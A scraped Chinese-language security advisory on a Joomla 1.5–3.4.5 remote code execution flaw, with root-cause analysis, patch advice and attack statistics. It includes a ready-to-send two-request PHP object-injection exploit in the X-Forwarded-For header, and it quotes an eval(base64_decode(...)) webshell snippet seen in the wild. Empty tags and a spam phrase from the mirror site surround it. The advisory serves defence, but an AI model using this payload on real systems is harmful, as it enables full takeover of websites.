<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/11371

            Author:阿里云安全攻防對抗團隊

            近日,Joomla再曝高危0day漏洞,可進行遠程命令執行,阿里云云盾昨日已上線相應的攔截規則抵御該漏洞。同時,對云托管客戶已經做了電話通知和自動漏洞修復。統計數據顯示,截至16日凌晨,已有數百個惡意IP嘗試使用該漏洞對阿里云網站發起攻擊,云盾已成功攔截上萬次攻擊請求,其中攻擊請求數排名第一的黑客在一小時內嘗試入侵超過1000個 Joomla 網站。

            根據此次漏洞情況,Joomla 官方已緊急放出了3.4.6版本。joomla用戶除了盡快升級至最新版本,也可采用阿里云安全團隊給出的更為完善的修復方案,對網站進行加固,詳情可參考:0x03漏洞修復。

            0x00 漏洞介紹


            昨日,Joomla 安全團隊緊急發布了 Joomla 3.4.6 版本,修復了一個高危 0day 漏洞。該漏洞影響了 1.5 到 3.4.5 的所有版本,漏洞利用無須登錄,直接在前臺即可執行任意PHP代碼。

            0x01 漏洞利用


            將惡意代碼放在 User-Agent 或 X-Forwarded-For 中發送給網站,將網站返回的cookie值帶入第二個請求中,即可觸發漏洞。或是在第一個請求中指定cookie值,在第二次中帶上同樣cookie值也能觸發漏洞。

            請求一:

            #!bash
            GET / HTTP/1.1
            Host: 127.0.0.1
            X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}e
            Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2
            

            請求二:

            #!bash
            GET / HTTP/1.1
            Host: 127.0.0.1
            Cookie: 3342514dde143a04dad958b2eb5a748a=pd4nnqlps2suk9r70189jkpdn2
            

            如果執行成功,請求二的返回內容中會顯示phpinfo()的執行結果。

            0x02 漏洞分析


            libraries/joomla/session/session.php文件中,joomla將HTTP_USER_AGENTHTTP_X_FORWARDED_FOR直接存入到了session中

            #!php
            ……
            // Record proxy forwarded for in the session in case we need it later
            if (isset($_SERVER['HTTP_X_FORWARDED_FOR']))
            {
                $this->set('session.client.forwarded',$_SERVER['HTTP_X_FORWARDED_FOR']);
            ……
            // Check for clients browser
            if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
            {
                    $browser = $this->get('session.client.browser');
                    if ($browser === null)
                    {
                        $this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
                    }
            }
            

            繼續跟進joomla對于session的處理方式,在 /libraries/joomla/session/storage.phpJSessionStorage 類中,利用session_set_save_handler重新實現了 session 存儲的read()和write()方法,從php手冊中得定義看到,read()、write()方法傳進和傳出的參數會分別自動進行序列化和反序列化,這一部分的序列化操作由PHP內核完成:

            enter image description here

            繼續跟入到read()和write()函數,代碼位于libraries/joomla/session/storage目錄中,從所有session存儲引擎的實現代碼中可以看到,joomla都沒有對 session 的value進行安全處理就進行了寫入操作。 默認情況下,joomla使用了數據庫引擎對 session 進行存儲,這也是本漏洞可以成功利用的條件之一,構造exp時候,利用 Mysql 的字符截斷特性,最終寫入到數據庫中一個被破壞的不合法的反序列化對象,當這個對象被執行read()讀取時候,因為截斷字符的關系, PHP內核(PHP <= 5.6.13)在解析session.client.forwarded后面字符串時,由于長度Check不一致,導致php_var_unserialize提前退出,返回false,PHP在上一次php_var_unserialize失敗的時候,會從之前的指針位置繼續開始下一輪key-value嘗試,在新一輪key-value嘗試中,PHP內核將攻擊者注入的"|"當成了分隔符,進行key-value解析,進行反序列化導致對象方法被執行。

            漏洞的本質原因有兩個,一個是php內核的session解析器bug導致的,另一個是mysql數據庫的字符截斷特性。如果使用的session存儲引擎不存在 Mysql 這樣的字符截斷特性,此漏洞就無法復現。我們測試該漏洞時,將joomla配置文件configuration.php中的$session_handler 配置為none,即使用文件系統存儲session,發現漏洞無法成功利用。

            0x03漏洞修復


            Joomla 官方已經在昨天緊急放出了3.4.6版本。比對代碼后發現,官方此次的升級補丁僅僅在 /libraries/joomla/session/session.php 中刪掉了將HTTP_USER_AGENT寫入SESSION變量中的代碼,增加了對 HTTP_X_FORWARDED_FOR 獲取到IP的合法性驗證,將此次公開的exp中的利用點修復掉了。但官方沒有對JSessionStorage 類中處理session的不安全方式進行修復,因此這個修復方式存在被繞過的可能。只要攻擊者尋找到新的可控SESSION值的位置,就可用同樣的構造方法觸發漏洞。

            下面給出更為完善的修復方案:

            修改 Joomla 根目錄 configuration.php ,把 $session_handler 的值改為none,會將session存儲引擎設為文件系統。 把 PHP 版本升到到 5.6.13 或更高的版本。

            登錄Joomla后臺把程序升級到 3.4.6 或更高的版本。

            0x04 威脅現狀


            統計數據顯示,截至16日凌晨,已有數百個惡意IP嘗試使用該漏洞對阿里云網站發起攻擊,云盾已成功攔截上萬次攻擊請求,其中攻擊請求數排名第一的黑客在一小時內嘗試入侵超過1000個 Joomla 網站。

            對攻擊者使用的攻擊payload分析,大部分攻擊者在第一個請求中都會插入類似 eval(base64_decode($_post[a])) 這樣的代碼,在第二個請求中嘗試向網站根目錄寫入一句話木馬。如果攻擊成功,網站將會被攻擊者完全控制。也有部分攻擊者使用的是網上公開的漏洞檢測payload,如 phpinfo();md5(233333); ,這些代碼一般不會對網站造成威脅。

            相關鏈接:

            https://www.joomla.org/announcements/release-news/5641-joomla-3-4-6-released.html
            https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html 
            https://github.com/80vul/phpcodz/blob/master/research/pch-031.md
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线